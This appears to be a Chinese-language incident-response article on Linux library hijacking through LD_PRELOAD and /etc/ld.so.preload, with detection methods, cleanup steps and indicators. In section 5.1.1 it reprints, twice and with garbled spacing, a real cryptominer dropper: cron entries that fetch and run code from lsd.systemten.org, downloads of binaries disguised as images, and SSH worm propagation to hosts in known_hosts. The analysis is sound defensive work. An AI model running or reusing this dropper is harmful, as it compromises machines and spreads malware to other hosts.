0×01 菜逼階段
Linux庫文件劫持這種案例在今年的9月份遇到過相應的案例久锥,當時的情況是有臺服務器不斷向個可疑IP發(fā)包家淤,嘗試建立連接,后續(xù)使用殺軟殺出木馬瑟由,重啟后該服務器還是不斷的發(fā)包絮重,使用netstat、lsof等常用系統(tǒng)命令無法查看到相應的PID歹苦。這樣的話就無法定位到相應的進程青伤,協(xié)助處理,懷疑中了rootkit殴瘦,使用rkhunter進行查殺狠角,未殺出rootkit。以為是內(nèi)核的問題導致無法查看到相應進程的PID蚪腋,就沒有深入分析丰歌。
0×02 持續(xù)菜逼
沒過多久,內(nèi)部同事也扔過來這樣一個問題屉凯。也是通過netstat無法查看到相應的PID立帖,同事懷疑中了木馬,但是使用rkhunter等工具未查出異常悠砚,以為情況和前期一樣晓勇,也沒有深入分析與研究。
0×03 深入學習與了解原理
大概過了一個月灌旧,內(nèi)部同事也遇到相同的問題绑咱,協(xié)助處置,經(jīng)過學習與分析枢泰,發(fā)現(xiàn)前期自己的思路完全錯誤了描融,以為是內(nèi)核問題導致的netstat無法查看到PID,并且前期太依賴工具(rootkit)的查殺結(jié)果衡蚂,其實是庫文件劫持導致的情況稼稿。深入學習與分析后,便有了今天這篇文章讳窟。將在處置與分析過程中遇到的各種坑同步給經(jīng)常做應急的小伙伴,防止后期連續(xù)踩坑敞恋。
二丽啡、庫文件劫持原理
前期有大佬做個這個案例的分析,感興趣的小伙伴可以學習一下硬猫,個人感覺總結(jié)的非常全面补箍。
https://www.freebuf.com/column/162604.html
引用里面的一張圖改执,Linux動態(tài)預加載的流程如下:
1. 應用程序在通過系統(tǒng)接口調(diào)用內(nèi)核時會預先加載動態(tài)鏈接庫, 即使程序不依賴這些動態(tài)鏈接庫,LD_PRELOAD環(huán)境變量和/etc/ld.so.preload配置文件中指定的動態(tài)鏈接庫依然會被加載坑雅。 2. 這個庫里面主要包括兩個內(nèi)容:LD_PRELOAD和/etc/ld.so.preload 3. LD_PRELOAD用于預加載環(huán)境變量 4. /etc/ld.so.preload用于預加載配置文件 5. 默認情況下LD_PRELOAD和/etc/ld.so.preload無配置 6. 動態(tài)編譯:不論程序依賴不依賴動態(tài)鏈接庫辈挂,都會加載LD_PRELOAD環(huán)境變量和/etc/ld.so.preload配置文件中指定的動態(tài)鏈接庫依然會被裝載 7. 靜態(tài)編譯:不動態(tài)加載系統(tǒng)庫文件,直接將程序所需要的各種文件全部集中到該軟件平臺中,這樣就可以解決系統(tǒng)庫文件被劫持裹粤,中了rootkit等導致連接终蒂、網(wǎng)絡等被隱藏的情況,常用的工具如busybox
三遥诉、庫文件劫持技術
前文可以看到Linux預加載的配置文件主要有兩個:LD_PRELOAD和/etc/ld.so.preload拇泣,因此針對Linux的庫文件劫持可以圍繞這兩個進行展開,目前主流的劫持技術主要有三種:
更改LD_PRELOAD環(huán)境變量矮锈,加載惡意庫文件
/etc/ld.so.preload加載惡意的庫文件(主流的劫持技術)
更改默認的庫文件/etc/ld.so.preload為其他庫文件
其中第二條是目前遇到的最多的霉翔,其主要是通過更改/etc/ld.so.preload來預加載其他惡意的庫文件來實現(xiàn)對系統(tǒng)命令,如netstat苞笨、cat债朵、top等進行劫持,從而到達隱藏進程瀑凝、連接序芦、性能等目的,這種也是rootkit典型的技術猜丹。
3.1LD_PRELOAD劫持
3.1.1 劫持實現(xiàn)
這種劫持實現(xiàn)相對較簡單芝加,可以通過以下方法來實現(xiàn):
1. LD_PRELOAD=/lib/f1c8d7.so? ? ? 將LD_PRELOAD的值設置為要預加載的動態(tài)鏈接庫 2. export LD_PRELOAD? ? ? 導出環(huán)境變量使該環(huán)境變量生效 3.一般情況下相關的庫文件會被加上隱藏屬性
3.1.2 如何檢測
1.因為是通過更改環(huán)境變量實現(xiàn)的加載惡意庫文件,因此可以直接查看環(huán)境變量射窒,簡單效果好藏杖,echo $LD_PRELOAD即可查看到是否存在劫持
2.根據(jù)Linux的預加載機制,相應的系統(tǒng)命令都會加載LD_PRELOAD環(huán)境變量指定的內(nèi)容脉顿,因此可以通過strace來跟蹤相應系統(tǒng)命令加載的庫文件來分析蝌麸,我們知道Linux預加載就兩個LD_PRELOAD和/etc/ld.so.preload,下面可以看到對/bin/ls進行跟蹤發(fā)現(xiàn)其打開了/lib/f1c8d7.so艾疟,同時提示沒有
/etc/ld.so.preload這個文件来吩,因此可以判斷是通過環(huán)境變量實現(xiàn)劫持的。
3.2 /etc/ld.so.preload劫持
3.2.1 如何實現(xiàn)
這種劫持方式是目前遇到的最多的也是最主流的劫持方式蔽莱,其主要是修改其配置弟疆,將其加載一個惡意的庫文件來實現(xiàn)劫持。這里面可以使用github里面的工具來實現(xiàn)盗冷,詳細可參考:
https://github.com/mempodippy/cub3
3.2.2 劫持分析
使用cat無法查看相應的內(nèi)容怠苔;使用busybox可以看到相應的內(nèi)容,說明存在庫劫持仪糖。并且其類型是修改/etc/ld.so.preload內(nèi)容柑司,增加惡意庫文件實現(xiàn)劫持迫肖。
3.2.3 cub3.so內(nèi)容
使用strings查看cub3.so內(nèi)容
3.2.4 調(diào)試跟蹤
由于cat命令被劫持了,因此我們可以使用strace來追蹤/bin/cat命令的加載情況攒驰,可以看到其訪問/etc/ld.so.preload蟆湖,并且打開了/lib/cub3.so這個庫文件。
3.2.5 如何處置
去掉隱藏屬性
chattr -ia/etc/ld.so.preload
rm -rf/etc/ld.so.preload /lib/cub3.so
3.3 修改動態(tài)鏈接器劫持分析
3.3.1 如何實現(xiàn)
正常情況下玻粪,相關的系統(tǒng)功能會默認調(diào)用/etc/ld.so.preload這個庫文件隅津,但是也存在這個默認庫文件被修改的情況,所以我們需要分析相關系統(tǒng)命令默認調(diào)用的庫文件來分析其是否被修改奶段。
正常情況下饥瓷,相關系統(tǒng)命令調(diào)用的默認庫文件可以通過strace命令來追蹤,其如下所示:
strace -f -e trace=file /bin/ls
可以看到痹籍,其默認調(diào)用的是/etc/ld.so.preload這個庫文件:
下面我們來修改這個默認庫文件實現(xiàn)劫持來分析:
劫持使用的腳本為:?https://github.com/mempodippy/vlany
創(chuàng)建后門賬號test1
3.3.2 功能分析
通過其官方說明里可以看到呢铆,其特征就是rootkit的典型特征,具有隱藏進程蹲缠、用戶棺克、網(wǎng)絡、后門等线定。
3.3.3 劫持分析
正常情況下娜谊,我們可以看到其默認加載的庫為/etc/ld.so.preload
安裝完相應的惡意程序以后,其默認庫文件被修改為/bin/.Kv8Xqykz,這個時候相關的默認庫被修改了
3.3.4 如何處置
1.直接隨便寫一個庫文件到/etc/ld.so.preload中 2.然后再刪除/etc/ld.so.preload就可以了
四斤讥、如何檢測庫文件劫持
前面我們看到針對Linux的庫文件劫持纱皆,常用的方法就三種:
更改LD_PRELOAD環(huán)境變量,加載惡意庫文件
/etc/ld.so.preload加載惡意的庫文件(主流的劫持技術)
更改默認的庫文件/etc/ld.so.preload為其他庫文件
因此芭商,檢測這一塊也是針對性的進行檢測
4.1分析LD_PRELOAD環(huán)境變量
比較簡單派草,直接echo$LD_PRELOAD即可查看是否存在針對環(huán)境變量的劫持行為。這里就不再贅述铛楣。
4.2 靜態(tài)查看與動態(tài)查看對比檢測
原理比較簡單近迁,就是使用系統(tǒng)命令與靜態(tài)工具,如busybox執(zhí)行的命令進行對比簸州,如果結(jié)果一致鉴竭,這里面就不存在劫持。如果不一致就可能存在劫持岸浑。一般情況下搏存,這種針對庫文件的劫持會針對所有的系統(tǒng)命令進行劫持,因此我們可以隨便選擇一個系統(tǒng)命令矢洲,通過執(zhí)行系統(tǒng)命令與使用busybox靜態(tài)執(zhí)行的命令進行對比即可發(fā)現(xiàn)是否存在劫持璧眠,詳細實現(xiàn)如下:
4.3 使用strace進行動態(tài)跟蹤
strace可用來跟蹤相應的庫文件加載情況,這種方式是相對靠譜的方式。若擔心strace這個命令被替換或被植入rootkit可以使用busybox來執(zhí)行該命令蛆橡。
4.3.1 分析LD_PRELOAD環(huán)境變量劫持
根據(jù)Linux的預加載機制,相應的系統(tǒng)命令都會加載LD_PRELOAD環(huán)境變量指定的內(nèi)容掘譬,因此可以通過strace來跟蹤相應系統(tǒng)命令加載的庫文件來分析泰演,我們知道Linux預加載就兩個LD_PRELOAD和/etc/ld.so.preload,下面可以看到對/bin/ls進行跟蹤發(fā)現(xiàn)其打開了/lib/f1c8d7.so葱轩,同時提示沒有
/etc/ld.so.preload這個文件睦焕,因此可以判斷是通過環(huán)境變量實現(xiàn)劫持的。
4.3.2 分析/etc/ld.so.preload庫文件劫持
由于cat命令被劫持了靴拱,因此我們可以使用strace來追蹤/bin/cat命令的加載情況垃喊,可以看到其訪問/etc/ld.so.preload,并且打開了/lib/cub3.so這個庫文件袜炕。
4.3.3 分析修改默認動態(tài)鏈接器來實現(xiàn)劫持
使用strace進行跟蹤可以看到其默認庫文件被修改為/bin/.Kv8Xqykz,這個時候相關的默認庫被修改了
4.4 github腳本
Github上有大佬放了用來檢測庫文件劫持的腳本本谜,相應的腳本地址如下:
https://github.com/mempodippy/detect_preload
五、遇到的Linux庫文件劫持案例
5.1現(xiàn)象
5.1.1 定時任務
系統(tǒng)被植入定時任務偎窘,但是通過crontab–r無法刪除
相應的C2地址為lsd.systemten.org乌助,通過微步在線查看其已被標識為遠控、挖礦木馬陌知。
相應的腳本如下:
exportPATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
chmod 1777 /tmp
echo "*/10 * * * * (curl-fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org||python -c'import urllib;printurllib.urlopen(\"?http://lsd.systemten.org?\").read()')|sh"|crontab- cat > /etc/crontab <
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
*/10 * * * * root (curl -fsSL-m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org||python -c 'importurllib;printurllib.urlopen("?http://lsd.systemten.org?").read()'||/usr/local/sbin/638b6d9fb883b8)|sh
EOF
find /etc/cron*|xargs chattr -i
find /var/spool/cron*|xargschattr -i
grep -RE "(wget|curl)"/etc/cron*|grep -v systemten|cut -f 1 -d
xargs rm -rf
grep -RE"(wget|curl)" /var/spool/cron*|grep -v systemten|cut -f 1 -d
xargsrm -rf
cd /tmp
touch /usr/local/bin/writeable&& cd /usr/local/bin/
touch /usr/libexec/writeable&& cd /usr/libexec/
touch /usr/bin/writeable&& cd /usr/bin/
rm -rf /usr/local/bin/writeable/usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
a64="img.sobot.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png"
a32="img.sobot.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png"
b64="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg"
b32="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg"
c64="?https://user-images.githubusercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg?"
c32="?https://user-images.githubusercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg?"
if [ ! -f"638b6d9fb883b8" ]; then
ARCH=$(getconf LONG_BIT)
if [ ${ARCH}x = "64x" ]; then
(curl -fsSL -m180 $a64 -o638b6d9fb883b8||wget -T180 -q $a64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a64'","638b6d9fb883b8")'||curl -fsSL -m180 $b64 -o 638b6d9fb883b8||wget-T180 -q $b64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b64'","638b6d9fb883b8")'||curl -fsSL -m180 $c64 -o 638b6d9fb883b8||wget-T180 -q $c64 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c64'","638b6d9fb883b8")')
else
(curl -fsSL -m180 $a32 -o638b6d9fb883b8||wget -T180 -q $a32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a32'","638b6d9fb883b8")'||curl -fsSL -m180 $b32 -o 638b6d9fb883b8||wget-T180 -q $b32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b32'","638b6d9fb883b8")'||curl -fsSL -m180 $c32 -o 638b6d9fb883b8||wget-T180 -q $c32 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c32'","638b6d9fb883b8")')
fi
fi
chmod +x 638b6d9fb883b8
$(pwd)/638b6d9fb883b8 ||./638b6d9fb883b8 || /usr/bin/638b6d9fb883b8 || /usr/libexec/638b6d9fb883b8 ||/usr/local/bin/638b6d9fb883b8 || 638b6d9fb883b8 || /tmp/638b6d9fb883b8 ||/usr/local/sbin/638b6d9fb883b8
if [ -f /root/.ssh/known_hosts] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\"?http://lsd.systemten.org?\").read()')|sh>/dev/null 2>&1 &" & done
fi
for file in /home/*
do
if test -d $file; then
if [ -f $file/.ssh/known_hosts ]&& [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\"?http://lsd.systemten.org?\").read()')|sh>/dev/null 2>&1 &" & done
fi
fi
done
#
xargs rm -rf
grep -RE"(wget|curl)" /var/spool/cron*|grep -v systemten|cut -f 1 -d
xargsrm -rf
cd /tmp
touch /usr/local/bin/writeable&& cd /usr/local/bin/
touch /usr/libexec/writeable&& cd /usr/libexec/
touch /usr/bin/writeable&& cd /usr/bin/
rm -rf /usr/local/bin/writeable/usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
a64="img.sobot.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png"
a32="img.sobot.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png"
b64="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg"
b32="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg"
c64="?https://user-images.githubusercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg?"
c32="?https://user-images.githubusercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg?"
if [ ! -f"638b6d9fb883b8" ]; then
ARCH=$(getconf LONG_BIT)
if [ ${ARCH}x = "64x" ]; then
(curl -fsSL -m180 $a64 -o638b6d9fb883b8||wget -T180 -q $a64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a64'","638b6d9fb883b8")'||curl -fsSL -m180 $b64 -o 638b6d9fb883b8||wget-T180 -q $b64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b64'","638b6d9fb883b8")'||curl -fsSL -m180 $c64 -o 638b6d9fb883b8||wget-T180 -q $c64 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c64'","638b6d9fb883b8")')
else
(curl -fsSL -m180 $a32 -o638b6d9fb883b8||wget -T180 -q $a32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a32'","638b6d9fb883b8")'||curl -fsSL -m180 $b32 -o 638b6d9fb883b8||wget-T180 -q $b32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b32'","638b6d9fb883b8")'||curl -fsSL -m180 $c32 -o 638b6d9fb883b8||wget-T180 -q $c32 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c32'","638b6d9fb883b8")')
fi
fi
chmod +x 638b6d9fb883b8
$(pwd)/638b6d9fb883b8 ||./638b6d9fb883b8 || /usr/bin/638b6d9fb883b8 || /usr/libexec/638b6d9fb883b8 ||/usr/local/bin/638b6d9fb883b8 || 638b6d9fb883b8 || /tmp/638b6d9fb883b8 ||/usr/local/sbin/638b6d9fb883b8
if [ -f /root/.ssh/known_hosts] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\"?http://lsd.systemten.org?\").read()')|sh>/dev/null 2>&1 &" & done
fi
for file in /home/*
do
if test -d $file; then
if [ -f $file/.ssh/known_hosts ]&& [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\"?http://lsd.systemten.org?\").read()')|sh>/dev/null 2>&1 &" & done
fi
fi
done
#
5.1.2 本地文件
同時使用rm -rf命令也無法刪除相應的文件
5.1.3 網(wǎng)絡連接
通過分析網(wǎng)絡連接他托,發(fā)現(xiàn)了和前期遇到相同的情況,看不到PID
5.1.4 性能分析
既然是挖礦其CPU肯定會被利用的非常多仆葡,但是我們使用TOP命令來看赏参,其CPU利用率非常低,完全看不出有問題沿盅。
5.2分析
5.2.1 busybox分析
有了前面分析的基礎把篓,這個時候我們再去處置這個問題就相對簡單了。Linux庫文件劫持這塊如果找不對方向處置的話會很頭疼嗡呼,明白了原理和手法以后再去分析就相對簡單了纸俭。
直接上神器busybox,可以看到兩個PID(104110和104025)占了98%以上的CPU
同時南窗,使用busybox查看netstat可以看到前面沒有看到的PID主要為104025揍很。個人推測:PID為104110主要是用來進行挖礦的;104025主要是用來進行和礦池通信、分發(fā)任務等功能万伤。
5.2.2 庫文件劫持分析
直接使用buxybox查看窒悔,可以看到/etc/ld.so.preload加載了下面這個庫文件/usr/local/lib/libEGID.so,這個庫文件肯定是用來進行劫持使用的惡意庫文件敌买。
5.3 處置
上面可以看到該惡意程序的功能如下:
1. 庫文件劫持 2. 創(chuàng)建定時任務 3. 禁止刪除文件 4. 創(chuàng)建惡意進程 5. 網(wǎng)絡外連
因此處置主要是根據(jù)上面的行為來進行針對性的處置简珠,處置的前提是要收集好具體的惡意行為,如創(chuàng)建了哪些定時任務、生成了哪些惡意進程等聋庵。網(wǎng)上有人寫了相應的腳本膘融,我們在處置的時候可以參考相應的腳本,但是里面的進程可能不是腳本里面的進程祭玉、惡意的文件目錄也可能不是腳本里面的氧映,我們需要根據(jù)遇到的具體情況來進行更新與完善,相關的核心點如下:
5.3.1 刪除定時任務
5.3.2 刪除異常進程
5.3.3 修復動態(tài)庫
5.3.4 修復啟動項
5.4 總結(jié)
庫文件劫持這種技術平時遇到的相對較少脱货,但是在freebuf上搜了一下岛都,從18年開始就流行了,平時如果沒有這方面的積累振峻,遇到以后還是難以處理臼疫。這篇文章相當于給大家掃盲,了解了其原理以后再去處置就會得心應手扣孟。
六烫堤、LOCs
6.1IP
121.237.8.28 121.237.8.29 121.237.8.31 121.237.8.33 121.237.8.35 121.237.8.36 121.237.8.38 121.237.8.41 121.237.8.42 121.237.8.47 121.237.8.48 121.237.8.50
6.2 域名
lsd.systemten.org aliyun.one
6.3 MD5
6e734be6192fc688421641fee6b06c01